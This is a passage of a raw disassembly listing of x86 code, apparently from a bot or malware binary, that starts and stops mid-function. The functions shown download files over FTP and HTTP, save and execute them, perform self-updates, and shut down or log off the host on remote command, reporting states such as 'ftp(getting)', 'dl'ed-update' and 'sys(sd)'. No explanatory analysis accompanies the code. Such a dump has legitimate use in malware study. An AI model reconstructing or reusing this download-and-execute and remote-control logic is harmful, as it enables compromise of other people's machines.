eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CEB3 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CEB5 ; --------------------------------------------------------------------------- loc_41CEB3: ; CODE XREF: sub_41C610+896j xor edi, edi loc_41CEB5: ; CODE XREF: sub_41C610+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CF40: ; CODE XREF: sub_41C610+7A1j lea ecx, [ebp+0EAh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D1A1 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016AE push offset word_44758A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D0EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41D0EC: ; CODE XREF: sub_41C610+A64j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D114 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D114: ; CODE XREF: sub_41C610+AF7j xor edi, edi loc_41D116: ; CODE XREF: sub_41C610+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FBE lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FBE lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013D4 loc_41D1A1: ; CODE XREF: sub_41C610+116j ; sub_41C610+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D212: ; CODE XREF: sub_41C610+549j ; sub_41C610+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C610 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D540 proc near ; CODE XREF: sub_401B36j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D540 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D5D0 proc near ; CODE XREF: sub_4014B0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D5D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D5D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_4021C6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D670 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D730: ; CODE XREF: ___:00401168j ; ___:loc_4019E7j push esi mov esi, ecx call sub_4015C3 test byte ptr [esp+8], 1 jz short loc_41D748 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D748: ; CODE XREF: ___:0041D73Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D760 proc near ; CODE XREF: sub_4015C3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D760 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D760 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D830 proc near ; CODE XREF: sub_401C80j var_44 = dword ptr -44h var_3C = byte ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_24 = byte ptr 28h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_110 = byte ptr 114h arg_120 = byte ptr 124h arg_130 = byte ptr 134h arg_1110 = dword ptr 1114h arg_1114 = byte ptr 1118h arg_1130 = dword ptr 1134h arg_1138 = dword ptr 113Ch arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43B0F2 push eax mov eax, 1158h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, ecx push edi push offset byte_446F60 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41DF38 lea ebx, [esi+65h] push offset byte_446F60 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41DF38 lea ecx, [esi+26h] push offset byte_446F60 call sub_4012EE test eax, eax jz loc_41DF38 mov al, [esi+91h] test al, al jz short loc_41D8D1 push offset byte_446F60 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D8C4 push offset byte_446F60 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D8D1 loc_41D8C4: ; CODE XREF: sub_41D830+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41DF40 ; --------------------------------------------------------------------------- loc_41D8D1: ; CODE XREF: sub_41D830+70j ; sub_41D830+92j push offset asc_443C84 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41D95E push offset asc_443C84 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016AE mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41D96F loc_41D95E: ; CODE XREF: sub_41D830+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41D96F: ; CODE XREF: sub_41D830+12Cj push offset asc_443C84 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016AE lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FBE lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017E4 push eax call near ptr 27F0000h nop lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015D7 mov al, [esi+91h] test al, al jz loc_41DB04 call sub_401E06 ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017E4 push eax call sub_401A69 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DA1C lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41DF17 ; --------------------------------------------------------------------------- loc_41DA1C: ; CODE XREF: sub_41D830+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017E4 push eax lea ecx, [esi+3Bh] call sub_4017E4 push eax call sub_402243 add esp, 0Ch test eax, eax jnz short loc_41DA73 lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DA73: ; CODE XREF: sub_41D830+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_4016A9 add esp, 10h test eax, eax jnz short loc_41DAF2 mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DAF2: ; CODE XREF: sub_41D830+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D52 add esp, 4 jmp loc_41DD7B ; --------------------------------------------------------------------------- loc_41DB04: ; CODE XREF: sub_41D830+195j lea ecx, [esp+28h+arg_20] call sub_401424 lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_401424 push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017E4 push eax call sub_401A8C mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DB87 lea ecx, [esi+7Ah] call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E6ECB call sub_40120D ; --------------------------------------------------------------------------- db 53h dd 69BAB8E8h, 0BEE99071h db 3 dup(0) ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41D830+310j push ebp mov ecx, edi call sub_4017E4 push eax lea ecx, [esi+26h] call sub_4017E4 push eax lea edx, [esp+30h+arg_24] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+24h+arg_24] push 0 call sub_4013D9 push eax lea ecx, [esp+2Ch+arg_24] call sub_4017E4 push eax push ebx nop call near ptr 71AB428Ah lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017E4 push eax call near ptr 77C3F010h nop mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DC80 mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+34h+var_24] mov [esp+34h+var_24], esi push ecx mov ecx, offset byte_4E6ECB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+34h+var_18] mov byte ptr [esp+34h+arg_1138], 3 call sub_401226 lea ecx, [esp+34h+arg_14] mov byte ptr [esp+34h+arg_1138], 2 call sub_401226 lea ecx, [esp+34h] mov [esp+34h+arg_1138], 0FFFFFFFFh call sub_401226 jmp loc_41DF4B ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D830+3DBj ; sub_41D830+484j ... mov eax, [esp+34h+var_20] push 0 lea edx, [esp+38h+arg_130] push 1000h push edx push eax nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DCF8 cmp ebp, 1000h jge short loc_41DCB0 mov [esp+ebp+44h+arg_120], 0 loc_41DCB0: ; CODE XREF: sub_41D830+476j xor edi, edi test ebp, ebp jle short loc_41DC80 loc_41DCB6: ; CODE XREF: sub_41D830+4A5j push 4 lea ecx, [esp+edi+48h+arg_120] push offset asc_443EE8 ; "\r\n\r\n" push ecx nop call near ptr 77C47A50h add esp, 0Ch test eax, eax jz short loc_41DCD9 inc edi cmp edi, ebp jl short loc_41DCB6 jmp short loc_41DC80 ; --------------------------------------------------------------------------- loc_41DCD9: ; CODE XREF: sub_41D830+4A0j add edi, 4 cmp edi, ebp jge short loc_41DCF8 loc_41DCE0: ; CODE XREF: sub_41D830+4C6j movsx edx, [esp+edi+44h+arg_120] push ebx push edx call near ptr 77C40E76h nop add esp, 8 inc edi cmp edi, ebp jl short loc_41DCE0 loc_41DCF8: ; CODE XREF: sub_41D830+46Ej ; sub_41D830+4AEj ... mov edi, [esp+44h+var_30] push 0 lea eax, [esp+48h+arg_120] push 1000h push eax push edi nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DD48 cmp ebp, 1000h jge short loc_41DD28 mov [esp+ebp+54h+arg_110], 0 loc_41DD28: ; CODE XREF: sub_41D830+4EEj xor edi, edi test ebp, ebp jle short loc_41DCF8 loc_41DD2E: ; CODE XREF: sub_41D830+514j movsx ecx, [esp+edi+54h+arg_110] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DD2E jmp short loc_41DCF8 ; --------------------------------------------------------------------------- loc_41DD48: ; CODE XREF: sub_41D830+4E6j push ebx nop call near ptr 77C40AB1h add esp, 4 push edi nop call near ptr 71AB9639h lea ecx, [esp+58h+var_3C] mov [esp+58h+arg_1114], 3 call sub_401226 lea ecx, [esp+58h+var_C] mov [esp+58h+arg_1114], 2 call sub_401226 loc_41DD7B: ; CODE XREF: sub_41D830+2CFj mov al, [esi+90h] test al, al jnz loc_41DE17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D60A5 call sub_401848 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41DF0F push offset byte_446F60 mov ecx, ebp call sub_4017E4 push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017E4 push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h jmp loc_41DF0F ; --------------------------------------------------------------------------- loc_41DE17: ; CODE XREF: sub_41D830+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h lea edx, [esp+58h+var_3C] push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 51h push edx call sub_4019B5 add esp, 24h mov ecx, eax mov [esp+58h+arg_1114], 5 call sub_4014D3 push eax mov ecx, ebx call sub_4014D3 push eax call sub_402149 add esp, 8 lea ecx, [esp+58h+var_3C] mov bl, al mov [esp+58h+arg_1114], 2 call sub_401226 test bl, bl jz short loc_41DEEA mov al, byte_4478C6 test al, al jz short loc_41DEB9 push offset dword_447864 mov ecx, offset dword_448DA0 call sub_401447 loc_41DEB9: ; CODE XREF: sub_41D830+678j mov al, byte_44790F test al, al jz short loc_41DED1 push offset byte_44793F mov ecx, offset dword_448DA0 call sub_401942 loc_41DED1: ; CODE XREF: sub_41D830+690j mov ecx, offset dword_448DA0 call sub_401E5B push 1 mov byte_4E6E74, 0 nop call near ptr 77C39E7Eh loc_41DEEA: ; CODE XREF: sub_41D830+66Fj mov ecx, edi call sub_4014D3 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 loc_41DF0F: ; CODE XREF: sub_41D830+597j ; sub_41D830+5E2j mov [esp+5Ch+var_44], esi lea edx, [esp+5Ch+var_44] loc_41DF17: ; CODE XREF: sub_41D830+1E7j push edx loc_41DF18: ; CODE XREF: sub_41D830+23Ej ; sub_41D830+2BDj mov ecx, offset byte_4E6ECB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+5Ch+var_28] mov [esp+5Ch+arg_1110], 0FFFFFFFFh call sub_401226 jmp short loc_41DF4B ; --------------------------------------------------------------------------- loc_41DF38: ; CODE XREF: sub_41D830+36j ; sub_41D830+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41DF40: ; CODE XREF: sub_41D830+9Cj push eax mov ecx, offset byte_4E6ECB call sub_40120D sub_41D830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D830 loc_41DF4B: ; CODE XREF: sub_41D830+44Bj ; sub_41D830+706j mov ecx, [esp+34h+arg_1130] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D830 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E140 proc near ; CODE XREF: sub_401B90j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E140 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_41E140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E31B push offset dword_443FEC lea ecx, [edi+69h] call sub_401681 mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 14h push 0 push 6 nop call near ptr 2890339h pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E31B: ; CODE XREF: ___:0041E2DEj lea ecx, [esi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E36A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_401681 mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 14h push 0 push 5 nop call near ptr 2890339h pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E36A: ; CODE XREF: ___:0041E32Dj lea ecx, [esi+60h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E3B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_401681 mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 14h push 0 push 4 call near ptr 2890339h nop loc_41E3B1: ; CODE XREF: ___:0041E37Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E400 proc near ; CODE XREF: sub_401F5Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E400 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_41E400 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019B5 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017E4 lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E660 proc near ; CODE XREF: sub_401613j var_50 